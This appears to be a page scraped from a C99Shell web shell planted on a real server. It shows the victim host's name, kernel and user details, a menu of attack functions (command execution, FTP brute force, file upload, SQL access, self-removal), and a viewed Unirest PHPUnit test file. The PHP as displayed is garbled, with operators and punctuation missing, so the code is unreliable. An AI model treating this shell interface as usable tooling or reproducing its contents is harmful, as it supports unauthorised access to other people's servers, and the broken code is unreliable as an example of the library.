!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/mashape/unirest-php/tests/Unirest/   drwxr-xr-x
Free 28.75 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BodyTest.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Unirest\Request\Body\Test;

use 
Unirest\Request as Request;
use 
Unirest\Request\Body as Body;

require_once 
__DIR__ '/../../src/Unirest.php';

class 
BodyTest extends \PHPUnit_Framework_TestCase
{
    public function 
testCURLFile()
    {
        
$fixture __DIR__ '/fixtures/upload.txt';

        
$file Body::File($fixture);

        if (
PHP_MAJOR_VERSION === && PHP_MINOR_VERSION === 4) {
            
$this->assertEquals($filesprintf('@%s;filename=%s;type='$fixturebasename($fixture)));
        } else {
            
$this->assertTrue($file instanceof \CURLFile);
        }
    }

    public function 
testHttpBuildQueryWithCurlFile()
    {
        
$fixture __DIR__ '/fixtures/upload.txt';

        
$file Body::File($fixture);
        
$body = array(
            
'to' => 'mail@mailinator.com',
            
'from' => 'mail@mailinator.com',
            
'file' => $file
        
);

        
$result Request::buildHTTPCurlQuery($body);
        
$this->assertEquals($result['file'], $file);
    }

    public function 
testJson()
    {
        
$body Body::Json(array('foo''bar'));

        
$this->assertEquals($body'["foo","bar"]');
    }

    public function 
testForm()
    {
        
$body Body::Form(array('foo' => 'bar''bar' => 'baz'));

        
$this->assertEquals($body'foo=bar&bar=baz');

        
// try again with a string
        
$body Body::Form($body);

        
$this->assertEquals($body'foo=bar&bar=baz');
    }

    public function 
testMultipart()
    {
        
$arr = array('foo' => 'bar''bar' => 'baz');

        
$body Body::Multipart((object) $arr);

        
$this->assertEquals($body$arr);

        
$body Body::Multipart('flat');

        
$this->assertEquals($body, array('flat'));
    }

    public function 
testMultipartFiles()
    {
        
$fixture __DIR__ '/fixtures/upload.txt';

        
$data = array('foo' => 'bar''bar' => 'baz');
        
$files = array('test' => $fixture);

        
$body Body::Multipart($data$files);

        
// echo $body;

        
$this->assertEquals($body, array(
            
'foo' => 'bar',
            
'bar' => 'baz',
            
'test' => Body::File($fixture)
        ));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--